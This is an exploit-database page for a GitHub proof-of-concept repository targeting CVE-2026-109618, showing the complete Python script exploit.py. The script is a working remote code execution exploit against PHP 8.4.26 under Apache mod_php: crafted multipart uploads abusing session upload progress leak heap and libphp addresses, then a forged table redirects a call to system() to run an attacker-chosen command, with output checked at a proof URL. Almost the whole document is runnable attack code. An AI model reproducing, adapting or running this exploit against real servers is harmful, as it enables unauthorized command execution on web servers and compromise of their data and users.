Exploit database

GH-13726b7cdfd7c67f47d447ea1351b174

momorizza/php2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
momorizza/php2shellRevision 072bc9660d9e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

oracle-exploit/exploit.py

Suggested starting filePython · 17,024 bytes
#!/usr/bin/env python3
"""Calibrated HTTP RCE proof for PHP 8.4.26 mod_php with errors hidden."""

from __future__ import annotations

import argparse
import re
import socket
import ssl
import struct
import sys
import threading
import time
from collections import Counter
from urllib.parse import unquote_to_bytes, urlsplit

from offsets import from_file, from_libphp


SID = b"attacksessionid0001"
HTDATA_OFFSET = 0x690D8
ZIF_OFFSET = 0x465370
DTOR_OFFSET = 0x65EB60
MAX_COMMAND_BYTES = 14
COOKIE_READ = 600000
BOUNDARY_A = b"S" * 17
BOUNDARY_B = b"B" * 10

# Both layouts were measured on the same php:8.4.26-apache image.
LAYOUT = {
    8: (12, 235, 15000, 2, 4000, 0),
    128: (129, 250, 258000, 100, 15000, 117),
}

Part = tuple[str, bytes, str | None]


def multipart(parts: list[Part], boundary: bytes) -> bytes:
    body = bytearray()
    for name, data, filename in parts:
        body += b"--" + boundary + b"\r\n"
        body += b'Content-Disposition: form-data; name="' + name.encode("ascii") + b'"'
        if filename is not None:
            body += b'; filename="' + filename.encode("ascii") + b'"'
            body += b"\r\nContent-Type: application/octet-stream"
        body += b"\r\n\r\n" + data + b"\r\n"
    body += b"--" + boundary + b"--\r\n"
    return bytes(body)


class Target:
    def __init__(self, url: str, timeout: float):
        if not url.isascii() or any(ord(char) <= 32 or ord(char) == 127 for char in url):
            raise ValueError("URL must be ASCII without whitespace or controls")
        parsed = urlsplit(url)
        if parsed.scheme not in ("http", "https") or not parsed.hostname:
            raise ValueError("URL must be an HTTP or HTTPS URL with a host")
        if parsed.username or parsed.password or parsed.query or parsed.fragment:
            raise ValueError("URL must not contain credentials, a query, or a fragment")
        self.tls = parsed.scheme == "https"
        self.host = parsed.hostname
        self.port = parsed.port if parsed.port is not None else (443 if self.tls else 80)
        if not 1 <= self.port <= 65535:
            raise ValueError("URL port must be between 1 and 65535")
        self.path = parsed.path or "/"
        self.host_header = f"[{self.host}]" if ":" in self.host else self.host
        if self.port != (443 if self.tls else 80):
            self.host_header += f":{self.port}"
        self.timeout = timeout

    def connect(self) -> socket.socket:
        last_error: OSError | None = None
        for _ in range(10):
            try:
                connection = socket.create_connection((self.host, self.port), self.timeout)
                if self.tls:
                    try:
                        connection = ssl.create_default_context().wrap_socket(
                            connection, server_hostname=self.host)
                    except OSError:
                        connection.close()
                        raise
                connection.settimeout(self.timeout)
                return connection
            except OSError as error:
                last_error = error
                time.sleep(0.3)
        assert last_error is not None
        raise last_error

    def post(self, parts: list[Part], boundary: bytes, *, chunked: bool,
             read_cap: int = 65536, timeout: float | None = None,
             cookie: str | None = None) -> bytes:
        body = multipart(parts, boundary)
        size_header = ("Transfer-Encoding: chunked\r\n" if chunked
                       else f"Content-Length: {len(body)}\r\n")
        cookie_header = f"Cookie: PHPSESSID={cookie}\r\n" if cookie else ""
        head = (
            f"POST {self.path} HTTP/1.1\r\n"
            f"Host: {self.host_header}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary.decode('ascii')}\r\n"
            f"{size_header}{cookie_header}Connection: close\r\n\r\n"
        ).encode("ascii")
        connection = self.connect()
        connection.settimeout(timeout or self.timeout)
        response = bytearray()

        # OOM may reset the connection while the upload is still in flight.
        def read_response() -> None:
            try:
                while len(response) < read_cap:
                    block = connection.recv(min(65536, read_cap - len(response)))
                    if not block:
                        break
                    response.extend(block)
            except OSError:
                pass

        reader = threading.Thread(target=read_response, daemon=True)
        reader.start()
        try:
            try:
                connection.sendall(head)
                view = memoryview(body)
                for offset in range(0, len(body), 262144):
                    block = view[offset:offset + 262144]
                    if chunked:
                        connection.sendall(f"{len(block):X}\r\n".encode("ascii"))
                    connection.sendall(block)
                    if chunked:
                        connection.sendall(b"\r\n")
                if chunked:
                    connection.sendall(b"0\r\n\r\n")
            except OSError:
                pass
            reader.join((timeout or self.timeout) + 1)
            return bytes(response)
        finally:
            connection.close()

    def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
        request = (
            f"GET {path} HTTP/1.1\r\nHost: {self.host_header}\r\n"
            "Connection: close\r\n\r\n"
        ).encode("ascii")
        connection = self.connect()
        response = bytearray()
        try:
            connection.sendall(request)
            try:
                while len(response) < read_cap:
                    block = connection.recv(min(65536, read_cap - len(response)))
                    if not block:
                        break
                    response.extend(block)
            except OSError:
                pass
        finally:
            connection.close()
        head, _, body = bytes(response).partition(b"\r\n\r\n")
        match = re.match(rb"HTTP/1\.[01] (\d{3})", head)
        return (int(match.group(1)) if match else 0), body


def cookie_bytes(response: bytes) -> bytes:
    match = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", response)
    return unquote_to_bytes(match.group(1).decode("latin1")) if match else b""


def addresses(raw: bytes, dtor_offset: int) -> tuple[int, int]:
    if len(raw) < 1000:
        return 0, 0
    heaps: Counter[int] = Counter()
    for index in range(len(raw) - 7):
        pointer = int.from_bytes(raw[index:index + 8], "little")
        if 0x7F0000000000 <= pointer < 0x800000000000:
            heaps[pointer & ~0x1FFFFF] += 1
    heap, count = heaps.most_common(1)[0] if heaps else (0, 0)
    if count < 8:
        return 0, 0

    modules: Counter[int] = Counter()
    for index in range(0, len(raw) - 7, 8):
        pointer, = struct.unpack_from("<Q", raw, index)
        if (0x7F0000000000 <= pointer < 0x800000000000
                and pointer & 0xFFF == dtor_offset & 0xFFF
                and pointer & ~0x1FFFFF != heap):
            base = pointer - dtor_offset
            if base & 0xFFF == 0:
                modules[base] += 1
    module, count = modules.most_common(1)[0] if modules else (0, 0)
    return heap, module if count >= 8 else 0


def file_part() -> Part:
    return "f", b"A" * 64, "a.txt"


class Exploit:
    def __init__(self, target: Target, memory: int, command: bytes,
                 zif_offset: int, dtor_offset: int, verbose: bool):
        self.target = target
        self.memory = memory
        self.command = command
        self.zif_offset = zif_offset
        self.dtor_offset = dtor_offset
        self.verbose = verbose
        self.huge_mb = LAYOUT[memory][0]

    def log(self, message: str) -> None:
        if self.verbose:
            print(message, file=sys.stderr, flush=True)

    def huge_field(self) -> Part:
        return "big", b"B" * (self.huge_mb * 1024 * 1024), None

    def rotate(self) -> None:
        self.log("Rotating worker")
        parts: list[Part] = [(f"f{index:04d}"[:5], b"V" * 3000, None)
                             for index in range(1001)]
        parts += [
            ("PHPSESSID", b"\x00", None),
            ("PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None),
            file_part(), self.huge_field(),
        ]
        self.target.post(parts, BOUNDARY_A, chunked=True,
                         read_cap=1 << 20, timeout=max(90, self.target.timeout))
        time.sleep(0.3)
        self.target.post([
            ("PHPSESSID", SID, None),
            ("PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None),
        ], b"BNDRY12345", chunked=True, timeout=20)
        time.sleep(0.5)

    def leak(self) -> tuple[int, int]:
        _, big_count, big_length, tail_count, tail_length, small_tail = LAYOUT[self.memory]
        producer: list[Part] = []
        for index in range(63):
            name = (f"g{index:04d}" + "x" * 103)[:103]
            producer.append((name, b"v" * 8, None))
        producer.append(("999997", b"W" * 60, None))
        for index in range(big_count):
            producer.append((str(1000 + index),
                             b"B" * (big_length + (1360 if index == 0 else 0)), None))
        producer += [(str(100000 + index), b"X" * 231, None) for index in range(208)]
        producer += [(str(200000 + index), b"T" * tail_length, None)
                     for index in range(tail_count)]
        producer += [(str(300000 + index), b"U" * 4000, None)
                     for index in range(small_tail)]
        producer += [
            ("999990", b"z" * 32, None),
            ("PHPSESSID", b"\x00", None),
            ("PHP_SESSION_UPLOAD_PROGRESS", b"p" * 200, None),
            ("F" * 103, b"A" * 64, "A" * 99 + ".txt"),
        ]
        self.target.post(producer, BOUNDARY_A, chunked=self.memory == 128)

        value = bytearray(b"V" * 231)
        struct.pack_into("<Q", value, 0x78, 0x4000)
        consumer: list[Part] = [(str(1000 + index), bytes(value), None)
                                for index in range(40)]
        forged = bytearray(b"W" * 4000)
        struct.pack_into("<Q", forged, 0x80, 0x4141414141414141)
        struct.pack_into("<Q", forged, 0x88, 0)
        struct.pack_into("<Q", forged, 0x90, COOKIE_READ)
        consumer.append(("900000", bytes(forged), None))
        consumer += [(f"post{index}[0]", b"n", None) for index in range(40)]
        consumer += [
            ("PHPSESSID", SID, None),
            ("PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None),
        ]
        response = self.target.post(consumer, BOUNDARY_B, chunked=False,
                                    read_cap=2 << 20)
        return addresses(cookie_bytes(response), self.dtor_offset)

    def fake_table(self, table_address: int, system_address: int) -> bytes:
        table = bytearray(167)
        struct.pack_into("<II", table, 0x00, 1, 7)
        struct.pack_into("<II", table, 0x08, 0x10, 0xFFFFFFF8)
        struct.pack_into("<Q", table, 0x10, table_address + 0x20)
        struct.pack_into("<II", table, 0x18, 1, 1)
        struct.pack_into("<I", table, 0x20, 8)
        # The destructor and fake call's return value share this slot.
        struct.pack_into("<Q", table, 0x30, system_address)
        struct.pack_into("<I", table, 0x4C, 1)
        struct.pack_into("<Q", table, 0x70, table_address + 0x80)
        struct.pack_into("<I", table, 0x78, 6)
        struct.pack_into("<II", table, 0x80, 1, 0x106)
        struct.pack_into("<Q", table, 0x90, len(self.command))
        table[0x98:0x98 + len(self.command)] = self.command
        return bytes(table)

    def execute(self, table_address: int, system_address: int) -> None:
        producer: list[Part] = [
            ("PHPSESSID", b"a" * 19, None),
            ("PHP_SESSION_UPLOAD_PROGRESS", b"p" * 3, None),
        ]
        for index in range(6):
            producer.append((f"p{index:030d}"[:31], b"V" * 31, None))
        producer += [file_part(), self.huge_field()]
        self.target.post(producer, BOUNDARY_A, chunked=True,
                         read_cap=1 << 20, timeout=max(90, self.target.timeout),
                         cookie="a" * 32)
        time.sleep(0.3)

        table = self.fake_table(table_address, system_address)
        carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", table_address)[:7]
        consumer: list[Part] = [
            ("PHPSESSID", SID, None),
            ("PHP_SESSION_UPLOAD_PROGRESS", b"pwn", None),
            ("f00", b"F" * 15, None), ("f01", b"F" * 15, None),
            ("g00", carrier, None),
        ]
        consumer += [(f"a{index:030d}"[:31], table, None) for index in range(15)]
        self.target.post(consumer, BOUNDARY_B, chunked=True, timeout=30)


def proof(target: Target, path: str) -> bytes:
    status, body = target.get(path)
    return body if status == 200 else b""


def run(args: argparse.Namespace) -> int:
    if not 1 <= args.retries <= 10 or args.timeout <= 0:
        raise ValueError("--retries must be 1–10 and --timeout must be positive")
    command = args.cmd.encode("utf-8")
    if not command or len(command) > MAX_COMMAND_BYTES or b"\x00" in command:
        raise ValueError("--cmd must contain 1–14 UTF-8 bytes without NUL")
    if not args.expect:
        raise ValueError("--expect cannot be empty")
    target = Target(args.url, args.timeout)
    if args.fetch and (not args.fetch.startswith("/") or
                       any(ord(char) < 32 or ord(char) == 127 for char in args.fetch)):
        raise ValueError("--fetch must be a path starting with '/' without controls")
    proof_target = Target(args.proof_url, args.timeout) if args.proof_url else target
    proof_path = proof_target.path if args.proof_url else args.fetch
    expected = args.expect.encode("utf-8")
    if expected in proof(proof_target, proof_path):
        raise ValueError("expected proof is already present at the proof URL")

    if args.libphp:
        zif_offset, dtor_offset = from_libphp(args.libphp)
    elif args.offsets_file:
        zif_offset, dtor_offset = from_file(args.offsets_file)
    else:
        zif_offset, dtor_offset = ZIF_OFFSET, DTOR_OFFSET
    exploit = Exploit(target, args.memory, command, zif_offset, dtor_offset, args.verbose)
    exploit.rotate()

    heap = module = 0
    for attempt in range(args.retries):
        exploit.log(f"Leaking addresses ({attempt + 1}/{args.retries})")
        target.get(target.path, read_cap=65536)
        heap, module = exploit.leak()
        if heap and module:
            break
        if attempt + 1 < args.retries:
            exploit.rotate()
    if not heap or not module:
        raise ValueError("address leak failed")
    exploit.log(f"Heap 0x{heap:x}; libphp 0x{module:x}")
    exploit.rotate()

    for attempt in range(args.retries + 2):
        exploit.log(f"Running command ({attempt + 1}/{args.retries + 2})")
        try:
            exploit.execute(heap + HTDATA_OFFSET, module + zif_offset)
        except OSError as error:
            exploit.log(f"Request failed: {error}")
        time.sleep(0.8)
        result = proof(proof_target, proof_path)
        if expected in result:
            sys.stdout.buffer.write(result)
            if not result.endswith(b"\n"):
                sys.stdout.buffer.write(b"\n")
            sys.stdout.buffer.flush()
            return 0
        if attempt + 1 < args.retries + 2:
            exploit.rotate()
    raise ValueError("command output was not verified")


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--url", required=True, help="directly accessible PHP file")
    parser.add_argument("--memory", type=int, choices=LAYOUT, default=128,
                        help="target PHP memory_limit in MiB (8 or 128)")
    parser.add_argument("--cmd", required=True, help="command, up to 14 UTF-8 bytes")
    source = parser.add_mutually_exclusive_group()
    source.add_argument("--libphp", help="local copy of the target's libphp.so")
    source.add_argument("--offsets-file", help="file with ZIF_OFFSET and DTOR_OFFSET")
    check = parser.add_mutually_exclusive_group(required=True)
    check.add_argument("--proof-url", help="full URL of an out-of-band proof endpoint")
    check.add_argument("--fetch", help="HTTP path containing the command output")
    parser.add_argument("--expect", required=True, help="text required in the fresh proof")
    parser.add_argument("--timeout", type=float, default=90, help="per-request timeout")
    parser.add_argument("--retries", type=int, default=3, help="address leak attempts")
    parser.add_argument("--verbose", action="store_true", help="show exploit stages on stderr")
    args = parser.parse_args()
    try:
        return run(args)
    except (OSError, ValueError, UnicodeError) as error:
        print(f"error: {error}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())